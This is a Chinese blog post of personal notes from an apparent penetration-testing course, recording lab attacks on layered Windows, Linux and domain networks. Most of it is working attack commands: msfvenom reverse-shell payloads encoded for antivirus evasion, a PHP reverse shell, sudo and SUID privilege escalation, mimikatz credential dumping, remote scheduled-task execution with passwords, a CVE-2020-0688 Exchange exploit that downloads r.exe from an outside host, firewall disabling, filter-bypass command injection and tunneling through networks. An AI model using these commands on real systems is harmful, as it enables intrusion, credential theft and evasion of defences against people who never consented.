暗月实战项目笔记(杂记)

实战windows三层:

(192.168.0.129/10.10.10.130, 10.10.10.129/10.10.1.130,10.10.1.129)

  1. masscan、nmap 扫描开放端口和服务
  2. wfuzz、layer子域名搜集
  3. 访问所有域名,搜集框架信息、漏洞和exp
  4. awvs、xray、w13scan、美杜莎 扫描漏洞
  5. 进后台,上传shell(可先上传php小马,再用菜刀、蚁剑上传aspx大马。IIS服务器,aspx权限比php大,aspx大马方便提权)
  6. (上传wt.asp)或 大马扫描可写目录,msf生成反弹exe并上传、监听
  7. 提权:getsystem、getpriv、use post\multi\recon\local_exploit_suggester--本地提权,选择提权模块,run ---msf提权
  8. gobuster dir -u "www.baidu.com" -w 字典 -o save.txt----网站目录\文件扫描工具,得到后台地址,admin' or 1=1 ----弱口令测试+验证码能否复用
  9. sqlmap 测试后台注入点拿数据,sqlmap --os-shell 拿shell , whoami 查看权限 当sqlmap跑不出数据库时,可用大马+webconfig配置连接数据库,读取数据
  10. socks4a 192.168... 7788 --设置代理,少用默认1080,会被其他占用
  11. kali 生成正向连接exe,并通过大马的mssql上传功能 上传到第二层靶机运行监听。反向连接需要建立隧道
  12. proxychains3 nmap .... 或 proxychains4 firefox http://10.10.... 当代理 没反应时尝试proxychains3
  13. phpsduty后门事件 向内网机1.129写shell
  14. sockscap64.exe 增加kali的外网ip代理,保持和proxychains.conf里一致,包括代理类型socks4或socks5,把菜刀等程序拖到sockscap64里运行,即可访问内网shell(10.10.1.129 )。
  15. 蚁剑直接设置代理,即可访问内网---有时候连接不成功
  16. 菜刀上传正向连接exe 到第三层靶机运行并监听,kali得到meterpreter.

实战linux二层:

  1. goburster dir -u "www..." -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html' -o xx.log --wildcard -l | grep -v "Size:10280" | grep -v "Size:49" ----- -x 扫描指定类型的文件,--wildcard 过滤不存在也返回200的文件, --grep 过滤指定大小且无用的文件
  2. whatweb www..... 网站信息收集
  3. ssh隧道需要获得靶机密码,概率比较小。sock4 代理不稳定。优先sock5代理。需要靶机下载该工具(kali上建立简易服务器,供下载)
  4. 编辑模版拿shell
  5. bypass_disablefunc.php ,bypass_disablefunc_x64.so上传,宝塔禁止了多数函数的执行,有漏网之鱼putenv,可执行msf的反弹shell,http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so ....?cmd=chmod 777 ./反弹shell.sh。。。。 -----先增加权限

   ....?cmd=./反弹shell.sh。。。。 ------在执行

  1. linux 三大信息收集脚本 提权:linenum,linux-exploit-suggester,linuxprivchecker
  2. 或者 suid提权
  3. 解决建立交互shell出现乱码的情况: sh-4.3$ python -c 'import pty;pty.spawn("/bin/bash")'

 

ctrl+z 放到后台,f+g 调出来

stty raw -echo ---------------解决乱码

  1. 宝塔控制面板提权(前提是宝塔的权限是root最好),面板添加定时任务,执行反弹bash。
  2. Rogue-MySql-Server 利用mysql服务器恶意读取客户端文件漏洞,读取配置文件
  3. sock5 安装 :

kali: python -m simplehttpserver 80 ---建立简易服务器

kali 和 靶机 下载完都需要 解压,编译、执行

-tar -zxvf ssocks.... tar.gz ------解压

cd ssocks...

./configuire && make ------编译

kali: ./rcsocks -l 2233 -p 1080 -vv -----kali监听 靶机的2233端口

靶机的反弹shell(kali 下)里执行: ./rssocks -s 192.168.0.129:1080 -vv 12、gedit /etc/proxychains.conf

socks5 192.168.0.129 2233 -----代理kali ip+ 靶机2233端口

proxychains nmap -sT -Pn 10.10....

 

实战域:

  1. bs repeater 首次提交准确的验证码,提示账号或密码错误。再次提交,如果不提示验证码错误,则 验证码可复用。
  2. meterpreter 使用enable_rdp模块 开启3389远程桌面(可能要system权限)
  3. shell dir \\dc\c$ --web1能访问dc目录
  4. copy c:/user/1.exe \\dc c:/1.exe --copy到dc
  5. at \\dc 15:01:00 c:/1.exe --定时执行exe
  6. at \\dc ---查看计划任务 at id /delete --删除任务
  7. 等待dc执行定时任务,绑定端口
  8. beacon>link dc ----cs主动连接dc

实战有防护内网:

  1. masscan ip --rate=100 -----有waf,调低速度
  2. url + and 1=1,判断有误waf,F12查看网络,查看响应头里的waf信息
  3. nmap -A -Pn -sV ip------ -A:全面的系统扫描,检测目标主机的操作系统信息和路由信息 -Pn:禁止ping后扫描 -sV:探测端口服务版本
  4. 0.5s访问一次,扫描目录,过CC防护
  5. v9scan ---github 查找siteserver 3.6.4 poc,修改poc过狗。
  6. 密码找回漏洞,bs抓包,设置回答为空,得到密码,进入后台。
  7. 关闭windows defender:netsh advfirewall show allprofiles

    netsh advfirewall set allprofiles state off

  8、免杀: msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx,lport=xx, -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt ---生成16进制代码(-i 编码 n次) 使用掩日.exe将16进制代码生成exe。

 

靶机测试:

  1. python3 drupa7-cve-2018-7600.py http://www.xxx.com -c "wget http:aaa/shell.php" ------------- 利用exp的-c command 执行命令功能,下载shell到网站目录,菜刀连接。
  2. wget ----suid提权:openssl passwd -1 -salt moon 123456 ------生成新用户moon的hash ( $1$moon$xxxx), 复制etc/passwd,复制里面第一个root的数据并修改为(moon:$1$moon$xxxx:0:0:root:/root:bin/bash ),增加新用户moon,wget下载passwd并覆盖靶机文件。切换到新用户登陆 (su moon 。。。)

  ----suid 的cp命令也可提权,cp /tmp/passwd etc/passwd,切换到moon用户提权

===========================================================

  1. 在没有gcc的靶机上,使用exp.c-----本地kali:gcc exp.c -o exp , base64 exp (后面一定要+空格) 编码,复制编码后的内容 到kali交互会话,新建文本exp.64, 粘贴内容,然后 base64 -d exp.64>exp 解码。chmod 777 exp, 执行./exp获得root权限。
  2. linux靶机提权:

getshell拿到www-data权限,拿到flag,解密得到web账户的密码。

su web ------输入密码,切换到web账户

显示提示:NOPASSWD: /usr/bin/awk --------可以使用awk提权

sudo awk '{ system("/bin/bash") }' -------使用awk使用root权限的命令

id -----切换到root,提权成功

------------------------------------- ------------- NOPASSWD: /usr/bin/php

sudo php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' -----------root权限执行php且不需要密码,php反弹, nc监听,得到root权限

  1. cewl url > pwd.txt ------爬取单词,生成字典
  2. .htaccess文件配置了禁止访问的文件类型,可以后台删除,上传shell
  3. 创建反弹shell:

  nc -lnvp 9001

  bs 抓包访问shell.php,替换cmd内容为nc反弹命令并编码

  得到反弹会话

$ python -c 'import pty;pty.spawn("/bin/bash")'

ctrl+z

stty raw -echo

nc -lnvp 9001 ---得到最终反弹会话

  1. docker image镜像提权
  2. ssh xx@ip -t "bash -noprofile" ----ssh登陆后没有限制,否则访问部分文件时受限
  3. 暴破ssh 账号密码并登陆,sudo -l ----查看当前用户的权限

若显示 (ALL:ALL) ALL ----表示可运行root的命令

9、命令执行漏洞绕过过滤:如有过滤,先base64编码得到xxx==,在输入 127.0.0.1|echo"xxx=="|base64 -d|bash ------base64解码后bash执行

例如:127.0.0.1|cat etc/passwd

 

隧道应用:

映射是内外双向通信,转发是外网到内网单向通信

  1. 在外网win A上设置端口映射访问内网win B:win A自带netsh工具---正向连接

A.cmd > netsh interface portproxy reset

cmd > netsh interface portproxy add v4tov4 listenport=7777 connectaddress=B的IP 10.10.10.128 connectport=B的端口80

cmd > netsh interface portproxy show all

cmd > netsh interface portproxy delete v4tov4 listenport=7777

kali访问A 192.168.0.129:7777即等于访问B 10.128:80

  1. 在外网win A上设置端口转发访问内网win B------msf反向连接

B上执行反向后门,连接到A,A通过端口转发给msf

【1、msf生成反向后门,并在B上执行,连接到A

msfvenom -p windows/meterpreter/reverse_tcp lhost=A的IP lport=4455 -f exe>r.exe

2、将A的端口4455转发到kali的4455端口上

netsh interface portproxy add v4tov4 listenport=4455 connectaddress=kali的IP,connectport=4455

3、kali设置监听

use windows/multi/handle

set payload windows/meterpreter/reverse_tcp

set lhost kali.IP

set lport 4455

run

4、B上执行反向后门

  1. cs正向连接

kali http监听器连接A 得到A.beacon,再创建tcp监听器,生成使用tcp监听器的后门,在B上执行。A.beacon > connect B.ip tcp监听器的端口,连接到B,得到B的会话。

  1. cs反向连接

利用A的会话,创建反弹tcp监听器(pivoting->listener->创建),创建带S的后门,并选择反弹tcp监听器。上传后门到B执行。反向连接A。cs得到B的会话。

  1. msf-> portfwd端口转发 ------优于autoroute+socks4a+proxychains

meterpreter->portfwd add -l 8081 -r 10.10.10.128 -p 80

kali 访问localhost:8081 ==访问B 10.128:80

meterpreter->portfwd add -l 3389 -r 10.10.10.128 -p 3389

kali rdesktop 127.0.0.1:3389 ------远程桌面控制B

  1. 内网穿透神器neo-regeorg:

cd到neo-regeorg目录,执行cmd:python3 neoreg.py generate -k 密码;

生成各种后门网页shell.aspx,把生成的网页放到web A

执行cmd:python3 neoreg.py -k 密码 -u A.ip/shell.aspx---开启socks server

浏览器增加socks5代理,即可访问B 10.128

  1. kali:ssh -qTfnN -D 7070 root@A.ip (用户@中间机器A.ip)---A是linux
  2. kali:ssh -L 本地端口:目标ip:目标端口 用户@中间机器A.ip -fN ---A是linux

常见使用环境2: 把目标的端口转发出来,例如mysql只允许本地访问,不能外部访问的情况

ssh -L 3307:localhost:3306 用户@中间机器A.ip -fN

mysql -h127.0.0.1 -P3307 -uroot -p123456 -----连接内网mysql

  1. ssh -R 本地端口:目标ip:目标端口 用户@中间机器A.ip ----反向ssh
  2. earthworm(ew) 工具,使用 socks5代理 穿透内网 ---停止更新
  3. Tunna github下载

上传conn.php到A,kali 执行 python2 proxy.py -u A.ip/conn.php -l 4444 -a 10.10.10.128 -r 3389 -v

kali : rdesktop 127.0.0.1:4444 即可远程桌面控制B 10.128

  1. ICMP隧道技术穿透防火墙

应用场景:kali 、A;A、B互通;kali B能ping通,但禁用了tcp协议。

在A执行 ptunnel -x 密码

kali : ptunnel -p A.ip -lp 8080 -da B.ip -dp B.port -x 密码

localhost:8080 即可访问B

13、dns隧道穿透防火墙

当靶机只允许dns出网时,可使用dns隧道技术。很少被ids拦截,隐蔽性好

缺点:慢,不适合做后门。cs有dns后门

14、frp (fast reverse proxy)反向代理穿透内网防火墙

frps.ini、frpc.ini配置token=1234密码

15、burp抓内网包(与抓外网包一样)

===================暗月项目9======================

netsh interface portproxy add v4tov4 listenport=33389 connectaddress=192.168.22.131 connectport=3389

netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.22.130 connectport=80

netsh interface portproxy show all

netsh interface portproxy delete v4tov4 listenaddress=* listenport=33389 protocol=tcp

"C:\Program Files\MySQL\MySQL Server 5.5\bin\mysqldump.exe" -uroot -pzzzmoonsec javapmsv14 tq_user >C:/user.sql

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit

net use \\192.168.22.131 QWEasd123 /user:localhost\administrator

ladon wmiexec 192.168.22.131 administrator QWEasd123 whoami

git clone https://github.com/CoreSecurity/impacket.git

cd impacket/

python setup.py install

schtasks 128拒绝访问

schtasks /Create /S 192.168.22.128 /U Administrator /P "QWEasd123456" /SC ONCE /ST 19:27:01 /TN 999 /TR c:\1.bat /RU Administrator

schtasks /run /s 192.168.22.128 /U Administrator /P "QWEasd123456" /i /tn 999

1.bat

cmd /c "c:/icmpsh.exe -t 192.168.1.102"

copy 1.bat \\192.168.22.128\C$\Users\Administrator\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup\1.bat

开启3389,但连不上,防火墙设置不允许远程桌面通信

2.bat

C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

copy 2.bat 。。。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

第一种:

12server2 getshell,copy 1.bat 到启动项目录下,copy icmpsh.exe到22.128,重启08server2,上线kali。关防火墙,开3389,远程桌面195

第二种:

12server2 getshell,net use \\22.128 建立ipc,sc 关闭128防火墙,copy 2.bat到128,at bat开启3389(schtasks 拒绝访问),远程桌面1.195(22.128)。

ladon 192.168.22.8/24 smbscan

ladon psexec ...

dir \\03server3\c$ 直接能访问132

at 22.132 r.exe

privilege::debug

mimikatz.exe sekurlsa::logonpasswords

-s https://mail.moonteam.com -u moonteam\administrator -p QWEasd1234 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"

-s https://mail.moonteam.com -u moonteam\moonsec -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"

-s https://mail.moonteam.com -u moonteam\moon -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"

python cve-2020-0688.py -s https://mail.moonteam.com -u moonteam\moonsec -p QWEasd456 -c "whoami"

powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')

CVE-2020-0688_EXP.py -s https://mail.moonteam.com -u moonteam\moonsec -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"

CVE-2020-0688_EXP.py -s \\192.168.1.104 -u moonteam\moonsec -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"

lcx.exe -slave 61.100.100.129 51 10.10.2.129 3389

=======================================================

免杀:

  1. 全局替换 敏感字符,替换icon
  2. printspoofer win10、win server2016等提权工具
posted @ 2023-03-24 22:22  hello_bao  阅读(371)  评论(0)    收藏  举报